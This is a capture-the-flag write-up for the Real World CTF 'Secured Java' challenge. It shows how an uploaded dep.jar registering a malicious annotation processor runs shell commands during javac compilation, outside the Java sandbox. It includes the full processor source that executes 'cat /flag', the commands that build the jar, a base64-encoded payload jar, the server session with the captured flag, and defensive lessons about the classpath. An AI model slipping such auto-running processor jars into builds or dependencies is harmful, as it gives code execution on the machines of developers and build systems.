Real World CTF 4th: Secured Java
Overview
Writeup by: Nicolai Søborg
Solved by: Nicolai Søborg, Rasmus Have
This year we managed to land a 13 place, again! (which is really a shame as top 12 gets swag …)
Secured Java
The challenge is a single python file that allows you to “run untrusted Java in a safe way”.
The code boils down to:
- you upload two files:
Main.java
anddep.jar
- it compile Main
- it runs Main with an empty security policy
Pseudocode:
get_file("Main.java")
get_file("dep.jar")
subprocess.run(
["javac", "-cp", DEP_FILE, SOURCE_FILE],
check=True,
)
subprocess.run(["java", "--version"])
subprocess.run(
[
"java",
"-cp", f".:{DEP_FILE}",
"-Djava.security.manager",
"-Djava.security.policy==/dev/null",
"Main",
],
check=True,
)
Obviously running arbitrary Java code is dangerous, but because we are running it with a SecurityManager and not explicitly granting permissions (e.g. “grant { permission java.net.SocketPermission "localhost:1337", "listen" }
”) then the attacker code will need to bypass the sandbox to run dangerous operations, e.g. cat’ing the flag.
Now, escaping the SecurityManager is not unheard of, but was mostly an issue when “Java Applets” ran in everyones browser.
While SecurityManager is rarely used today there exists no publicly known bypasses.
So can we avoid having to bypass the sandbox?
Can we run code during compiling (which is not sandboxed)? I.e. during javac -cp dep.jar Main.java
?
While I was looking into trying to override any internal classes used by javac
during compilation a kalmarunionen teammate found something that looked very promissing: “annotation processor”.
Annotation processors are used during compilation to turn @whatever
into e.g. new source files/documentation/etc.
To specify new annotations you can run javac -processor com.example.MyProcessor Main.java
, but javac
will also automatically pick up all processors specified in META-INF/services/javax.annotation.processing.Processor
of all jars in the classpath!
So the exploit plan is to generate a dep.jar
which specifies an annotation processor which prints the flag.
Crafting the exploit
dep.jar
First we create a minimal annotation processor (MyProcessor.java
):
package dk.kalmar;
import java.util.*;
import javax.lang.model.*;
import javax.lang.model.element.*;
import javax.annotation.processing.*;
public class MyProcessor extends AbstractProcessor {
public static void execCmd(String cmd) throws Exception {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
System.out.println(cmd + "=> " + (s.hasNext() ? s.next() : ""));
}
static {
try {
execCmd("cat /flag");
System.out.println("IT WORKS");
} catch (Exception e) {
System.out.println("Err: " + e.getMessage());
}
}
// These methods needs to be defined, but doesn't matter
// as the above static block will run before anything else
@Override
public synchronized void init(ProcessingEnvironment env) { }
@Override
public boolean process(Set<? extends TypeElement> annoations, RoundEnvironment env) { return false; }
@Override
public Set<String> getSupportedAnnotationTypes() { return null; }
@Override
public SourceVersion getSupportedSourceVersion() { return null; }
}
Then javac MyProcessor.java
and create the dep.jar
:
mkdir -p META-INF/services/ dk/kalmar/
mv MyProcessor.class dk/kalmar/MyProcessor.class
echo "dk.kalmar.MyProcessor" > META-INF/services/javax.annotation.processing.Processor
jar cvf dep.jar ./
base64 -w0 dep.jar
Main.java
echo "" | base64 # yep, empty! We just need it to not fail during base64 decoding
Payload
$ nc 139.224.248.65 1337
Welcome to the secured Java sandbox.
Please send me the file Main.java.
Content: (base64 encoded) Cg==
Please send me the file dep.jar.
Content: (base64 encoded) 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
cat /flag=> rwctf{818dd1e92a56d1badd5234367d15d563}
An annotation processor threw an uncaught exception.
Consult the following stack trace for details.
java.lang.NullPointerException: Cannot invoke "javax.lang.model.SourceVersion.compareTo(java.lang.Enum)" because "procSourceVersion" is null
at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$ProcessorState.checkSourceVersionCompatibility(JavacProcessingEnvironment.java:765)
at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$ProcessorState.<init>(JavacProcessingEnvironment.java:704)
at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$DiscoveredProcessors$ProcessorStateIterator.next(JavacProcessingEnvironment.java:829)
at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment.discoverAndRunProcs(JavacProcessingEnvironment.java:925)
at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$Round.run(JavacProcessingEnvironment.java:1269)
at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment.doProcessing(JavacProcessingEnvironment.java:1384)
at jdk.compiler/com.sun.tools.javac.main.JavaCompiler.processAnnotations(JavaCompiler.java:1261)
at jdk.compiler/com.sun.tools.javac.main.JavaCompiler.compile(JavaCompiler.java:935)
at jdk.compiler/com.sun.tools.javac.main.Main.compile(Main.java:317)
at jdk.compiler/com.sun.tools.javac.main.Main.compile(Main.java:176)
at jdk.compiler/com.sun.tools.javac.Main.compile(Main.java:64)
at jdk.compiler/com.sun.tools.javac.Main.main(Main.java:50)
Compiling...
Failed to compile!
Flag: rwctf{818dd1e92a56d1badd5234367d15d563}
Learnings
Some learnings and takeaways for this challenge is that you really need to protect your classpath when doing anything with Java!
It is not uncommon to see the classpath containing .
(cwd) which means that you need to be really careful when running/compile Java from an untrusted directory (as it can contain a .jar
file that auto-executes malicious annotation processor code).
Any kind of auto run code is always super dangerous and probably we should hunt for dangerous .jar
s in /tmp/
, shared directories, etc